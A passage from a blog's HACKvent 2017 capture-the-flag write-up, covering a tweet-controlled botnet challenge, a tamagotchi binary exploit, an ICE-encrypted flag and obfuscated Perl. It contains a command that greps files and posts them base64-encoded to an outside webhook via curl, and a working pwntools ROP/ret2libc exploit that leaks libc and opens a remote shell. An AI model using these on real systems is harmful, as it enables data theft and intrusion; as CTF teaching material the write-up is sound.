class=\"twitter-hashtag pretty-link js-nav\" dir=\"ltr\" &gt;&lt;s&gt;#&lt;\/s&gt;&lt;b&gt;hackvent&lt;\/b&gt;&lt;\/a&gt;' in c and ' rel=\"nofollow noopener\" dir=\"ltr\" data-expanded-url=\"http:\/\/hackvent.hacking-lab.com\" class=\"twitter-timeline-link\" target=\"_blank\" title=\"http:\/\/hackvent.hacking-lab.com\" &gt;&lt;span class=\"tco-ellipsis\"&gt;&lt;\/span&gt;&lt;span class=\"invisible\"&gt;http:\/\/&lt;\/span&gt;&lt;span class=\"js-display-url\"&gt;hackvent.hacking-lab.com&lt;\/span&gt;&lt;span class=\"invisible\"&gt;&lt;\/span&gt;&lt;span class=\"tco-ellipsis\"&gt;&lt;span class=\"invisible\"&gt;&amp;nbsp;&lt;\/span&gt;&lt;\/span&gt;&lt;\/a&gt; ' in c:\n                c = c[c.index('MUFFIN_BOTNET:')+len('MUFFIN_BOTNET:'):];\n                c = c[:c.index(':MUFFIN_BOTNET')];\n                ok_cool(c)\n            else:\n                print(\"nope\")\n        except: pass\ndef ohai():\n    # PLS STAHP\n    ns = []\n    # yes I work for the cia\n    try:\n        n_txt = urllib2.urlopen('http:\/\/challenges.hackvent.hacking-lab.com:8081\/?twitter').read();\n        ns = list(set([n for n in n_txt.split('|') if len(n) &gt; 1]))\n    # rnd comments ftw\n    except: pass\n    # TODO: add launch code\n    for n in ns: wtf(n)\ndef decrypt_command(c):\n    c = c[c.index('MUFFIN_BOTNET:')+len('MUFFIN_BOTNET:'):];\n    c = c[:c.index(':MUFFIN_BOTNET')];\n    command = x(yolo(c));\n    print(\"Decrypted Tweet:\\n\" +command)\ndef encrypt_command(t):\n    #res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])\n    res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])\n    print(\"Encrypted Tweet:\\n@muffiniks #hackvent http:\/\/hackvent.hacking-lab.com MUFFIN_BOTNET:\"+base64.b64encode(res)+\":MUFFIN_BOTNET\")\n    return res\n#wtf(\"muffiniks\")\n#Try commands:\ndecrypt_command(\"MUFFIN_BOTNET:EQEDZxdvJhMuZwsWSX5CJA9abyJVVVEzXzYdQzs8SRERZBkvHFVneghLEXZbNkdXZDwPCwd0UjFGXnR1AA8IcV4uDVZzPBUFDnxcLQRGZ3UPCEh0XiQ=:MUFFIN_BOTNET\")\ndecrypt_command(\"MUFFIN_BOTNET:EgkTcF9iK0ZmdjkRB2BoKgxBZA==:MUFFIN_BOTNET\")\ndecrypt_command(\"MUFFIN_BOTNET:FQ5GPlRiTlZmYQMWRj5lYiFlMCRLRkl7WC8ME30zBAcVdgF2SR52M1ZGGjNUNxtfIT4CRiY+FyodR3FgXElJZEA1R1dgPRAPAnFCIQFSb3IISAV8GTcCHGJnAEkKfFAlDEEufwkBSGNfMk4=:MUFFIN_BOTNET\")\nencrypt_command(\"sh -c 'egrep -Rhn HV17- \/home \/root | base64 -w 0 | curl -d @- https:\/\/hookb.in\/vqLpo7Gw'\")\nencrypt_command(\"sh -c 'egrep -R HV17- \/home \/root | base64 -w 0 | curl -d @- https:\/\/hookb.in\/vqLpo7Gw'\")\n<\/pre>\n<p>With this I was able to execute commands on all the bots and I could start looking for the flag. It was pretty hard to find the needle in the haystack, because there is this script on all hosts which generates fake flags.<br \/>\nSo what to look for? I pinged the website of the challenge and got back the IP 80.74.140.188. I checked if I can control this IP over the botnet as well &#8211; and yes I got answers from there. Now it was clear, I had to focus on this host.<br \/>\nI found the flag in the root directory. Fortunately there were no fake flags in the root directory and it was the only host which contained a flag in this directory. I could get the flag with this command:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">sh -c 'egrep -R HV17- \/home \/root | base64 -w 0 | curl -d @- https:\/\/hookb.in\/vqLpo7Gw\n@muffiniks #hackvent http:\/\/hackvent.hacking-lab.com MUFFIN_BOTNET:FQ5GPlRiTlZmYQMWRj5lYiFlMCRLRkl7WC8MEy5hCQkSM0tiC1JydlBSRj5AYlkTfTMFExR\/F28NE0E+Rg4SZ0cxUxwuewkJDXEZKwccd2IqFgkkcDVO:MUFFIN_BOTNET\n<\/pre>\n<p><strong>HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 21: tamagotchi (Author:&nbsp;muffinX)<\/h1>\n<p style=\"text-align: left;\"><em>ohai fuud or gtfo<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\n<b>ohai<\/b><br \/>\nI&#8217;m a little tamagotchi who wants fuuuuud, pls don&#8217;t giveh me too much or I&#8217;ll crash&#8230;<\/p>\n<p style=\"text-align: center;\">nc challenges.hackvent.hacking-lab.com 31337<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/tamagotchi\" target=\"_blank\" rel=\"noopener\">File #1: tamagotchi<\/a>&nbsp;<a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/libc-2.26.so\" target=\"_blank\" rel=\"noopener\">File #2: libc-2.26.so<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>Here I messed up, the only point I lost was at this challenge. I wasn&#8217;t able to successfully exploit the tamagotchi binary on the remote server in time. It was even more frustrating when I&#8217;ve found out the next morning, that it was because of a copy\/paste error of the system offset! \ud83d\ude41<br \/>\nThese tutorials helped me a lot to solve this challenge:<br \/>\n<a href=\"https:\/\/blog.techorganic.com\/2015\/04\/10\/64-bit-linux-stack-smashing-tutorial-part-1\/\" target=\"_blank\" rel=\"noopener\">https:\/\/blog.techorganic.com\/2015\/04\/10\/64-bit-linux-stack-smashing-tutorial-part-1\/<\/a><br \/>\n<a href=\"https:\/\/blog.techorganic.com\/2015\/04\/21\/64-bit-linux-stack-smashing-tutorial-part-2\/\" target=\"_blank\" rel=\"noopener\">https:\/\/blog.techorganic.com\/2015\/04\/21\/64-bit-linux-stack-smashing-tutorial-part-2\/<\/a><br \/>\n<a href=\"https:\/\/blog.techorganic.com\/2016\/03\/18\/64-bit-linux-stack-smashing-tutorial-part-3\/\" target=\"_blank\" rel=\"noopener\">https:\/\/blog.techorganic.com\/2016\/03\/18\/64-bit-linux-stack-smashing-tutorial-part-3\/<\/a><br \/>\n<a href=\"https:\/\/offensivepentest.com\/2017\/09\/06\/ropemporium-write4-writeup\/\" target=\"_blank\" rel=\"noopener\">https:\/\/offensivepentest.com\/2017\/09\/06\/ropemporium-write4-writeup\/<\/a><br \/>\nThe food function is exploitable. To find the offset that I could overwrite the RIP I used gdb-peda:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">gdb-peda$ pattern_create 500\n'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'<\/pre>\n<p>I copy\/pasted the pattern into the food function:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">[MENU]\n1.) eat\n2.) bye\n[ch01c3]&gt;\n1\n[f00d]&gt;\nAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A\n[+] nom nom nom\n[ch01c3]&gt;\n2\n[+] bye bye\nProgram received signal SIGSEGV, Segmentation fault.<\/pre>\n<p>And now I was able to calculate the offset:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">gdb-peda$ x\/wx $rsp\n0x7fffffffe498: 0x4325416e\ngdb-peda$ pattern_offset 0x4325416e\n1126515054 found at offset: 216<\/pre>\n<p>Now I was able to create a PoC on my local system, which overwrites the RIP with 0x0000424242424242.<\/p>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/env python\nfrom struct import *\nbuf = \"1\\n\"\nbuf += \"A\"*216                      # offset to RIP\nbuf += pack(\"&lt;Q\", 0x424242424242)   # overwrite RIP with 0x0000424242424242\nbuf += \"C\"*100\nbuf += \"\\n2\\n\"                      # padding to keep payload length at 400 bytes\nf = open(\"in.txt\", \"w\")\nf.write(buf)\n<\/pre>\n<p>Following the tutorials I created a local exploit, which used a ROP chain and executed \/bin\/sh from system(). The ROP I have found with&nbsp;<a href=\"https:\/\/github.com\/sashs\/Ropper\" target=\"_blank\" rel=\"noopener\">Ropper<\/a>. The system and \/bin\/sh addresses can be found with gdb.<\/p>\n<pre class=\"wrap:true lang:python decode:true \">from struct import *\nbuf = \"1\\n\"\nbuf += \"A\"*216                              # offset to RIP\nbuf += pack(\"&lt;Q\", 0x400803)                 # pop rdi; ret;\nbuf += pack(\"&lt;Q\", 0x7ffff7b9f917)           # \/bin\/sh\nbuf += pack(\"&lt;Q\", 0x7ffff7a77d60)           # address of system()\nbuf += \"\\n2\\n\"\nf = open(\"in.txt\", \"w\")\nf.write(buf)<\/pre>\n<p>Don&#8217;t forget to disable ASLR when running the local PoC.<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">sh-4.4$ echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space\nsh-4.4$ python local.py\nsh-4.4$ (cat in.txt ; cat) | .\/tamagotchi\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0  TAMAGOTCHI   \u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n                __O__\n              .'     '.\n            .'         '.\n           .  _________  .\n           : |   .-.   | :\n          :  |  ( - )  |  :      - ohai! pls food! :D\n          :  |   \" \"   |  :\n          :  |_________|  :\n           |             |\n           '   O     O   '\n            ',    O    ,'\n              '.......        | simple challenge by muffinx (twitter.com\/muffiniks)\n[MENU]\n1.) eat\n2.) bye\n[ch01c3]&gt;\n[f00d]&gt;\n[+] nom nom nom\n[ch01c3]&gt;\n[+] bye bye\nid\nuid=1000(mcia) gid=100(users) groups=100(users)<\/pre>\n<p>This was pretty easy so far, as I disabled ASLR on my machine. But on the remote server ASLR is enabled. This means I had to find a leak to calculate the libc_base address. I followed tutorial #3 to achieve this step. As the libc.so which is used on the server was provided, I could find all needed offsets from there. I passed a pointer to the puts() function and printed this address. Now I had the remote address of this function and because I knew the offset of the puts() function, I could calculate the libc_base address of the remote system. I used <a href=\"https:\/\/docs.pwntools.com\/en\/stable\/\" target=\"_blank\" rel=\"noopener\">pwntools<\/a>&nbsp;because it makes exploitation much easier.<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import sys\nfrom pwn import *\nfrom struct import *\n#r = process(\".\/tamagotchi\")\nr = remote(\"challenges.hackvent.hacking-lab.com\", 31337)\nrip_offset = 216                                # offset to RIP\nrop = 0x400803                                  # pop rdi; ret;\nputs_plt = 0x4004b0                             # gdb disass main               - &lt;+55&gt;:    call   0x4004b0 &lt;puts@plt&gt;\nmain = 0x4006ca                                 # Address of main function in tamagotchi; so we can jump back to the choice after getting the address\nputs_got = 0x601018                             # Offset to got in tamagotchi file                      --&gt; objdump -R tamagotchi | grep puts\nputs_off = 0x078460                             # Offset to puts() function     - provided libc.so      --&gt; readelf -s libc.so | grep puts\nsystem_off = 0x47dc0                            # system offset in libc         - provided libc.so      --&gt; readelf -s libc.so | grep system\nbin_sh_off  = 0x1a3ee0                          # shell offset in \/bin\/sh       - provided in libc.so   --&gt; objdump -s libc.so | grep \/bin\/sh\n# Buffer to get the libc_base address\nbuf_leak = \"A\"*rip_offset\nbuf_leak += pack(\"&lt;Q\", rop)\nbuf_leak += pack(\"&lt;Q\", puts_got)\nbuf_leak += pack(\"&lt;Q\", puts_plt)\nbuf_leak += pack(\"&lt;Q\", main)\n# Stage 1: Read the libc_base address\nprint r.recvuntil(\"[ch01c3]&gt;\")\nr.sendline(\"1\")\nprint r.recvuntil(\"[f00d]&gt;\")\nr.sendline(buf_leak)\nprint r.recvuntil(\"[ch01c3]&gt;\")\nr.sendline(\"2\")\nprint r.recvuntil(\"[+] bye bye\\n\")\n# Calc new addresses\nputs_got_val = u64(r.recv(6)+\"\\x00\"*2)\nlibc_base = (puts_got_val-puts_off)\nsystem = libc_base + system_off\nbin_sh = libc_base + bin_sh_off\nprint(\"[+] Found libc_base address at: 0x%08x\" % libc_base)\nprint(\"[+] system() at: 0x%08x\" % system)\nprint(\"[+] \/bin\/sh at: 0x%08x\" % bin_sh)\n# Buffer to get Command Execution\nbuf_rce = \"A\"*rip_offset\nbuf_rce += pack(\"&lt;Q\", rop)\nbuf_rce += pack(\"&lt;Q\", bin_sh)\nbuf_rce += pack(\"&lt;Q\", system)\n# Stage 2 -&gt; pwn\nprint r.recvuntil(\"[ch01c3]&gt;\")\nr.sendline(\"1\")\nprint r.recvuntil(\"[f00d]&gt;\")\nr.sendline(buf_rce)\nprint r.recvuntil(\"[ch01c3]&gt;\")\nr.sendline(\"2\")\nprint r.recvuntil(\"[+] bye bye\\n\")\n#r.sendline(\"id\")\n#print(r.recv())\nr.interactive()<\/pre>\n<p>I documented the script to make it understandable. The first part was to find the base_libc address, then the exploit calls the main() function of tamagotchi again, so I could get command execution with the obtained address. Here is a copy of the execution flow:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$ python sol.py\n[+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0  TAMAGOTCHI   \u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n                __O__\n              .'     '.\n            .'         '.\n           .  _________  .\n           : |   .-.   | :\n          :  |  ( - )  |  :      - ohai! pls food! :D\n          :  |   \" \"   |  :\n          :  |_________|  :\n           |             |\n           '   O     O   '\n            ',    O    ,'\n              '.......        | simple challenge by muffinx (twitter.com\/muffiniks)\n[MENU]\n1.) eat\n2.) bye\n[ch01c3]&gt;\n[f00d]&gt;\n[+] nom nom nom\n[ch01c3]&gt;\n[+] bye bye\n[+] Found libc_base address at: 0x7f1bd5bd8000\n[+] system() at: 0x7f1bd5c1fdc0\n[+] \/bin\/sh at: 0x7f1bd5d7bee0\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0  TAMAGOTCHI   \u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8,\u00f8\u00a4\u00b0\u00ba\u00a4\u00f8,\u00b8\u00b8,\u00f8\u00a4\u00ba\u00b0`\u00b0\u00ba\u00a4\u00f8,\u00b8\n                __O__\n              .'     '.\n            .'         '.\n           .  _________  .\n           : |   .-.   | :\n          :  |  ( - )  |  :      - ohai! pls food! :D\n          :  |   \" \"   |  :\n          :  |_________|  :\n           |             |\n           '   O     O   '\n            ',    O    ,'\n              '.......        | simple challenge by muffinx (twitter.com\/muffiniks)\n[MENU]\n1.) eat\n2.) bye\n[ch01c3]&gt;\n[f00d]&gt;\n[+] nom nom nom\n[ch01c3]&gt;\n[+] bye bye\n[*] Switching to interactive mode\n$ id\nuid=1000(tamagotchi) gid=1000(tamagotchi) groups=1000(tamagotchi)\n$ cd \/home\n$ ls\ntamagotchi\n$ cd tamagotchi\n$ ls\nflag  tamagotchi\n$ cat flag\nHV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d\n$\n<\/pre>\n<p><strong>HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 22: frozen flag (Author:&nbsp;HaRdLoCk)<\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<\/strong><br \/>\ntodays flag is frozen. its quite cold in santas house at the north pole.<br \/>\ncan you help him to unfreeze it?<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/frozen_flag.zip\" target=\"_blank\" rel=\"noopener\">get the frozen flag here<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>Running the <a href=\"https:\/\/www.aldeid.com\/wiki\/PEiD#Krypto_Analyzer\" target=\"_blank\" rel=\"noopener\">PEiD Krypto Analyzer<\/a> showed that the ICE Cipher is used.<\/p>\n<pre class=\"lang:sh decode:true\">ICE [long] :: 000086C0 :: 0040A0C0\nReferenced at 004014F5\nReferenced at 00401538\nReferenced at 00401581\nReferenced at 004015CA\n<\/pre>\n<p>This link has a lot of useful information and different implementations on the ICE Cipher:&nbsp;<a href=\"http:\/\/www.darkside.com.au\/ice\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.darkside.com.au\/ice\/<\/a><br \/>\nI compared the <a href=\"http:\/\/www.darkside.com.au\/ice\/ice.c\" target=\"_blank\" rel=\"noopener\">C implementation<\/a> with the disassembled code in Hopper and could find various similarities. sub_401811 looks like the encrypt function:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-718 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper-1024x249.png\" alt=\"\" width=\"584\" height=\"142\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper-1024x249.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper-300x73.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper-768x187.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper-1536x374.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt_hopper.png 1623w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-717 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt.png\" alt=\"\" width=\"889\" height=\"654\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt.png 889w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt-300x221.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/encrypt-768x565.png 768w\" sizes=\"auto, (max-width: 889px) 100vw, 889px\" \/><\/a>The encrypt function is called in sub_401ce9:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_encrypt_hopper-1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-721 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_encrypt_hopper-1.png\" alt=\"\" width=\"907\" height=\"847\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_encrypt_hopper-1.png 907w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_encrypt_hopper-1-300x280.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_encrypt_hopper-1-768x717.png 768w\" sizes=\"auto, (max-width: 907px) 100vw, 907px\" \/><\/a><br \/>\n<strong>Solution 1 &#8211; Binary patching<\/strong><br \/>\nI compared the disassembled file and the C implementation further and found that the decrypt function is also embedded in frozen.exe, although it is not used.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-720 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper-1024x218.png\" alt=\"\" width=\"584\" height=\"124\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper-1024x218.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper-300x64.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper-768x163.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper-1536x327.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/decrypt_hopper.png 1613w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nSo, instead of calling the encrypt function at sub_401811 from the sub_401ce9, I just patches the binary to call the decrypt function sub_401937. This modification is done at the address 0x401e67.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_decrypt_hopper.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-722 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_decrypt_hopper.png\" alt=\"\" width=\"915\" height=\"837\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_decrypt_hopper.png 915w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_decrypt_hopper-300x274.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/call_decrypt_hopper-768x703.png 768w\" sizes=\"auto, (max-width: 915px) 100vw, 915px\" \/><\/a><\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$ mv HV17-flag encrypted_flag\n$ wine frozen_patched.exe encrypted_flag\n$ cat HV17-flag\nHV17-9VmF-xULb-fRVU-pvgb-KhZo<\/pre>\n<p><strong>HV17-9VmF-xULb-fRVU-pvgb-KhZo<\/strong><br \/>\n<strong>Solution 2 &#8211; Modify Java implementation<\/strong><br \/>\nBefore the encrypt function is called, the string &#8220;ice-cold&#8221; is compiled. This looks like the key which is used to encrypt the file. I tried to use the given C &amp; Java implementations with this key, but it didn&#8217;t work at first. But investigating further and implementing my own main-function in the Java IceKey.java file reconstructed the flag.<\/p>\n<pre class=\"wrap:true lang:java decode:true\">public static void main (String args[]) {\n\tif (args.length &lt; 2) {\n\t\tSystem.out.println(\"[!!] Please provide encrypted key and key!\");\n\t\tSystem.out.println(\"&lt;filename&gt; &lt;key&gt;\");\n\t\treturn;\n\t}\n\tString filename = args[0];\n\tbyte[] key = args[1].getBytes();\n\tSystem.out.println(\"[+] Decrypting '\" + filename + \"' with the key '\" + args[1] + \"'\\n...\");\n\t\/\/init\n\tIceKey i = new IceKey(1);\n\ti.set(key);\n\ttry {\n\t\t\/\/Get file content\n\t\tPath path = Paths.get(filename);\n\t\tbyte[] fileContents =  Files.readAllBytes(path);\n\t\tbyte[] plaintext = new byte[fileContents.length];\n\t\t\/\/Decrypt\n\t\tString decryptedFlag = \"\";\n\t\tfor (int z = 0; z &lt; fileContents.length; z+=8) {\n\t\t\tbyte [] tmp = new byte[8];\n\t\t\tfor(int x = z; x &lt; z+8; x++) {\n\t\t\t    tmp[x-z] = fileContents[x];\n\t\t\t}\n\t\t\ti.decrypt(tmp, plaintext);\n\t\t\tdecryptedFlag += new String(plaintext, \"UTF-8\").replaceAll(\"\\n\", \"\");\n\t\t}\n\t\tSystem.out.println(\"--&gt; \" + decryptedFlag + \"\\n\");\n\t} catch (Exception e) {\n\t\tSystem.out.println(\"[!!] Something went wrong:\");\n\t\te.printStackTrace();\n\t\treturn;\n\t}\n}<\/pre>\n<p>Run it:<\/p>\n<pre class=\"lang:sh decode:true\">$ javac IceKey.java &amp;&amp; java IceKey ..\/HV17-flag \"ice-cold\"\n[+] Decrypting '..\/HV17-flag' with the key 'ice-cold'\n...\n--&gt; HV17-9VmF-xULb-fRVU-pvgb-KhZo<\/pre>\n<p><strong>HV17-9VmF-xULb-fRVU-pvgb-KhZo<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 23: only perl can parse Perl (Author: M.)<\/h1>\n<p style=\"text-align: left;\"><em>&#8230; but there is always one more way to approach things!<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\n(in doubt, use perl5.10+ on *nix)<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/onlyperl.pl\" target=\"_blank\" rel=\"noopener\">get your flag here<\/a><\/p>\n<p><strong>Solution<\/strong><br \/>\nFirst I deobfuscated the perl file:<\/p>\n<pre class=\"lang:sh decode:true \">perl -MO=Deparse -l .\/onlyperl.pl<\/pre>\n<p>Then I worked with the perl debugger and got this:<\/p>\n<pre class=\"wrap:true lang:perl decode:true \">main::((eval 9)[.\/onlyperl.pl:3]:1):\n1: ;print(\"Password:\\n\");@a=unpack(\"C*\",,);@b=unpack(\"C*\",,);@b=unpack(\"C\u2217\",X);@c=unpack(\"C*\",scalar &lt;&gt;);print(chr((b[b[_]-a[a[_]+c[c[_%8]+0x100)&amp;0xFF)) for(0..$#b);print \"\\nDecryption done, are you happy now?\\n\";<\/pre>\n<p>I made it a bit more readable manually and got this file:<\/p>\n<pre class=\"wrap:true lang:perl decode:true\">#!\/usr\/bin\/env perl\n$, = 